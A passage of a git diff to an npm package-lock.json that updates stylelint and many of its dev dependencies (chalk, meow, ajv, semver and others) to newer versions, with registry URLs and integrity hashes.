"dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "regexp.prototype.flags": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", + "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "string.prototype.trimend": { @@ -16202,27 +20716,16 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "stringify-entities": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-3.0.1.tgz", - "integrity": "sha512-Lsk3ISA2++eJYqBMPKcr/8eby1I6L0gP0NlxF8Zja6c05yr/yCYyb2c9PwXjd08Ib3If1vn1rbs1H5ZtVuOfvQ==", "dev": true, "requires": { - "character-entities-html4": "^1.0.0", - "character-entities-legacy": "^1.0.0", - "is-alphanumerical": "^1.0.0", - "is-decimal": "^1.0.2", - "is-hexadecimal": "^1.0.0" + "safe-buffer": "~5.1.0" } }, "strip-ansi": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dev": true, "requires": { "ansi-regex": "^2.0.0" } @@ -16239,7 +20742,8 @@ "strip-eof": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=" + "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", + "dev": true }, "strip-indent": { "version": "1.0.1", @@ -16285,61 +20789,73 @@ "dev": true }, "stylelint": { - "version": "13.3.3", - "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.3.3.tgz", - "integrity": "sha512-j8Oio2T1YNiJc6iXDaPYd74Jg4zOa1bByNm/g9/Nvnq4tDPsIjMi46jhRZyPPktGPwjJ5FwcmCqIRlH6PVP8mA==", + "version": "13.12.0", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.12.0.tgz", + "integrity": "sha512-P8O1xDy41B7O7iXaSlW+UuFbE5+ZWQDb61ndGDxKIt36fMH50DtlQTbwLpFLf8DikceTAb3r6nPrRv30wBlzXw==", "dev": true, "requires": { - "@stylelint/postcss-css-in-js": "^0.37.1", - "@stylelint/postcss-markdown": "^0.36.1", - "autoprefixer": "^9.7.6", + "@stylelint/postcss-css-in-js": "^0.37.2", + "@stylelint/postcss-markdown": "^0.36.2", + "autoprefixer": "^9.8.6", "balanced-match": "^1.0.0", - "chalk": "^4.0.0", - "cosmiconfig": "^6.0.0", - "debug": "^4.1.1", + "chalk": "^4.1.0", + "cosmiconfig": "^7.0.0", + "debug": "^4.3.1", "execall": "^2.0.0", - "file-entry-cache": "^5.0.1", - "get-stdin": "^7.0.0", + "fast-glob": "^3.2.5", + "fastest-levenshtein": "^1.0.12", + "file-entry-cache": "^6.0.1", + "get-stdin": "^8.0.0", "global-modules": "^2.0.0", - "globby": "^11.0.0", + "globby": "^11.0.2", "globjoin": "^0.1.4", "html-tags": "^3.1.0", - "ignore": "^5.1.4", + "ignore": "^5.1.8", "import-lazy": "^4.0.0", "imurmurhash": "^0.1.4", - "known-css-properties": "^0.18.0", - "leven": "^3.1.0", - "lodash": "^4.17.15", - "log-symbols": "^3.0.0", + "known-css-properties": "^0.21.0", + "lodash": "^4.17.21", + "log-symbols": "^4.0.0", "mathml-tag-names": "^2.1.3", - "meow": "^6.1.0", + "meow": "^9.0.0", "micromatch": "^4.0.2", "normalize-selector": "^0.2.0", - "postcss": "^7.0.27", + "postcss": "^7.0.35", "postcss-html": "^0.36.0", "postcss-less": "^3.1.4", "postcss-media-query-parser": "^0.2.3", - "postcss-reporter": "^6.0.1", "postcss-resolve-nested-selector": "^0.1.1", "postcss-safe-parser": "^4.0.2", "postcss-sass": "^0.4.4", - "postcss-scss": "^2.0.0", - "postcss-selector-parser": "^6.0.2", + "postcss-scss": "^2.1.1", + "postcss-selector-parser": "^6.0.4", "postcss-syntax": "^0.36.2", - "postcss-value-parser": "^4.0.3", + "postcss-value-parser": "^4.1.0", "resolve-from": "^5.0.0", "slash": "^3.0.0", "specificity": "^0.4.1", - "string-width": "^4.2.0", + "string-width": "^4.2.2", "strip-ansi": "^6.0.0", "style-search": "^0.1.0", "sugarss": "^2.0.0", "svg-tags": "^1.0.0", - "table": "^5.4.6", - "v8-compile-cache": "^2.1.0", + "table": "^6.0.7", + "v8-compile-cache": "^2.2.0", "write-file-atomic": "^3.0.3" }, "dependencies": { + "ajv": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.1.0.tgz", + "integrity": "sha512-B/Sk2Ix7A36fs/ZkuGLIR86EdjbgR6fsAcbx9lOP/QBSXujDNbVmIS/U4Itz5k8fPFDeVZl/zQ/gJW4Jrq6XjQ==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", @@ -16347,15 +20863,20 @@ "dev": true }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, + "astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true + }, "braces": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", @@ -16383,9 +20904,9 @@ } }, "chalk": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.0.0.tgz", - "integrity": "sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -16407,13 +20928,26 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "cosmiconfig": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.0.tgz", + "integrity": "sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA==", "dev": true, "requires": { - "ms": "^2.1.1" + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" } }, "emoji-regex": { @@ -16422,6 +20956,15 @@ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "dev": true }, + "file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "requires": { + "flat-cache": "^3.0.4" + } + }, "fill-range": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", @@ -16441,10 +20984,26 @@ "path-exists": "^4.0.0" } }, + "flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "requires": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + } + }, + "flatted": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.1.1.tgz", + "integrity": "sha512-zAoAQiudy+r5SvnSw3KJy5os/oRJYHzrzja/tBDqrZtNhUw8bt6y8OBzMWcjWr+8liV8Eb6yOhw8WZ7VFZ5ZzA==", + "dev": true + }, "get-stdin": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-7.0.0.tgz", - "integrity": "sha512-zRKcywvrXlXsA0v0i9Io4KDRaAw7+a1ZpjRwl9Wox8PFlVCCHra7E9c4kqXCoCM9nR5tBkaTTZRBoCm60bFqTQ==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz", + "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==", "dev": true }, "has-flag": { @@ -16453,10 +21012,25 @@ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, + "hosted-git-info": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", + "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, "ignore": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz", - "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==", + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "dev": true + }, + "import-lazy": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", "dev": true }, "indent-string": { @@ -16477,6 +21051,12 @@ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "dev": true }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, "locate-path": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", @@ -16486,39 +21066,55 @@ "p-locate": "^4.1.0" } }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, "map-obj": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.1.0.tgz", - "integrity": "sha512-glc9y00wgtwcDmp7GaE/0b0OnxpNJsVf3ael/An6Fe2Q51LLwN1er6sdomLRzz5h0+yMpiYLhWYF5R7HeqVd4g==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.2.1.tgz", + "integrity": "sha512-+WA2/1sPmDj1dlvvJmB5G6JKfY9dpn7EVBUL06+y6PoljPkh+6V1QihwxNkbcGxCRjt2b0F9K0taiCuo7MbdFQ==", "dev": true }, "meow": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/meow/-/meow-6.1.1.tgz", - "integrity": "sha512-3YffViIt2QWgTy6Pale5QpopX/IvU3LPL03jOTqp6pGj3VjesdO/U8CuHMKpnQr4shCNCM5fd5XFFvIIl6JBHg==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", + "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", "dev": true, "requires": { "@types/minimist": "^1.2.0", "camelcase-keys": "^6.2.2", + "decamelize": "^1.2.0", "decamelize-keys": "^1.1.0", "hard-rejection": "^2.1.0", - "minimist-options": "^4.0.2", - "normalize-package-data": "^2.5.0", + "minimist-options": "4.1.0", + "normalize-package-data": "^3.0.0", "read-pkg-up": "^7.0.1", "redent": "^3.0.0", "trim-newlines": "^3.0.0", - "type-fest": "^0.13.1", - "yargs-parser": "^18.1.3" + "type-fest": "^0.18.0", + "yargs-parser": "^20.2.3" } }, "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", "dev": true, "requires": { "braces": "^3.0.1", - "picomatch": "^2.0.5" + "picomatch": "^2.2.3" } }, "ms": { @@ -16527,6 +21123,18 @@ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, + "normalize-package-data": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.2.tgz", + "integrity": "sha512-6CdZocmfGaKnIHPVFhJJZ3GuR8SsLKvDANFp47Jmy51aKIr8akjAWTSxtpI+MBgBFdSMRyo4hMpDlT6dTffgZg==", + "dev": true, + "requires": { + "hosted-git-info": "^4.0.1", + "resolve": "^1.20.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + } + }, "p-locate": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", @@ -16542,6 +21150,12 @@ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true }, + "quick-lru": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", + "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "dev": true + }, "read-pkg": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", @@ -16554,6 +21168,30 @@ "type-fest": "^0.6.0" }, "dependencies": { + "hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, "type-fest": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", @@ -16591,22 +21229,61 @@ "strip-indent": "^3.0.0" } }, + "resolve": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", + "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", + "dev": true, + "requires": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + } + }, "resolve-from": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", "dev": true }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, "slash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true }, + "slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + } + }, "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", "dev": true, "requires": { "emoji-regex": "^8.0.0", @@ -16633,14 +21310,31 @@ } }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dev": true, "requires": { "has-flag": "^4.0.0" } }, + "table": { + "version": "6.0.9", + "resolved": "https://registry.npmjs.org/table/-/table-6.0.9.tgz", + "integrity": "sha512-F3cLs9a3hL1Z7N4+EkSscsel3z55XT950AvB05bwayrNg5T1/gykXtigioTAjbltvbMSJvvhFCbnf6mX+ntnJQ==", + "dev": true, + "requires": { + "ajv": "^8.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "lodash.clonedeep": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.0" + } + }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -16657,20 +21351,28 @@ "dev": true }, "type-fest": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", - "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "version": "0.18.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", + "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", + "dev": true + }, + "v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", "dev": true }, "yargs-parser": { - "version": "18.1.3", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", - "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", - "dev": true, - "requires": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - } + "version": "20.2.7", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", + "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", + "dev": true } } }, @@ -16766,11 +21468,12 @@ } }, "tar-stream": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.3.tgz", - "integrity": "sha512-Z9yri56Dih8IaK8gncVPx4Wqt86NDmQTSh49XLZgjWpGZL9GK9HKParS2scqHCC4w6X9Gh2jwaU45V47XTKwVA==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, "requires": { - "bl": "^4.0.1", + "bl": "^4.0.3", "end-of-stream": "^1.4.1", "fs-constants": "^1.0.0", "inherits": "^2.0.3", @@ -16781,6 +21484,7 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -16792,12 +21496,14 @@ "temp-dir": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", - "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==" + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", + "dev": true }, "tempfile": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/tempfile/-/tempfile-2.0.0.tgz", "integrity": "sha1-awRGhWqbERTRhW/8vlCczLCXcmU=", + "dev": true, "requires": { "temp-dir": "^1.0.0", "uuid": "^3.0.1" @@ -16806,14 +21512,16 @@ "temp-dir": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-1.0.0.tgz", - "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=" + "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=", + "dev": true } } }, "term-size": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.0.tgz", - "integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw==" + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.1.tgz", + "integrity": 